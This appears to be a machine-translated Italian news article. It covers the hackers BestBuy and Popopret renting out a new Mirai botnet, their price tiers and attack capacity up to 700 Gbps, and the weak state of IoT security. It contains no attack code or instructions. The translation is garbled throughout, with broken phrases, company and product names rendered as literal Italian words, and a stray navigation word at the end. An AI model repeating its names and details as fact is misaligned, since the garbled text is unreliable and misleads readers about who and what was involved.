DDoS a 700 Gbps

Gli hacker BestBuy e Popopret hanno iniziato a pubblicizzare i loro servizi: offrono l'accesso ai loro nuova versione Mirai, invio di messaggi spam tramite XMPP/Jabber,

Secondo l'hacker offrono ai clienti diversi pacchetti di servizi. Ne vale la pena uno più economico $2 000 - per questo denaro i clienti possono affittare Da 20.000 a 25.000 nodi botnet per lanciare sentinelle per un massimo di due settimane, con un intervallo di quindici minuti tra un attacco e l'altro. Dietro $15 000 O $20 000 i clienti ora hanno la possibilità di far sì che 600.000 bot lancino attacchi di due ore con pause di 30 o 15 minuti. Nel secondo caso, la potenza d'attacco sarà 700 Gbit/s o più.

Prospettive

Sicurezza Dispositivi IoTè spesso a un livello piuttosto basso, ciò si spiega con il fatto che i fornitori spesso non sono interessati ad attuare misure aggiuntive informazioni di sicurezza. Pubblicizzano la facilità d'uso dei loro prodotti, ma tutte le misure di sicurezza aggiuntive impongono restrizioni e richiedono risorse.

Come accennato in precedenza, solo gli sviluppatori di dispositivi finali o i fornitori che li forniscono (nel caso dei router) possono proteggere gli utenti dalle botnet più avanzate. Il provider tedesco Deutsche Telekom, colpito dall'attacco della nuova versione di Mirai, ha già annunciato che "riconsidererà i rapporti commerciali" con i fornitori di router vulnerabili Porto veloce, azienda Arcadiano.

In definitiva, sarà possibile aumentare il livello di sicurezza dell’Internet of Things attraverso l’introduzione di un controllo più severo dei dispositivi da parte dei provider, da un lato, e lo sviluppo di standard e documentazione normativa per l’IoT, dall’altro. . Misure simili sono già state adottate in molti paesi per garantire la sicurezza dei sistemi automatizzati di controllo dei processi. I primi passi in questa direzione sono già stati compiuti: a settembre, ad esempio, diversi fornitori di servizi IT hanno pubblicato un documento intitolato L'industriale Sicurezza su Internet Quadro (IISF)- propone di considerare l'Internet delle cose come parte dell'“Internet industriale”.

Tuttavia, la questione è ancora lontana dall'essere definitivamente risolta e gli hacker BestBuy e Popopret possono ottenere il monopolio su larga scala Attacchi DDoS in linea. Questo è un fatto piuttosto triste, ma gli stessi hacker, durante una conversazione con Scheda madre dichiararono che le loro attività sarebbero state guidate non solo dal profitto, ma anche da principi morali. Pertanto BestBuy ha affermato che non consentirà ai clienti di attaccare gli indirizzi IP delle aziende che lavorano con infrastrutture critiche.




Superiore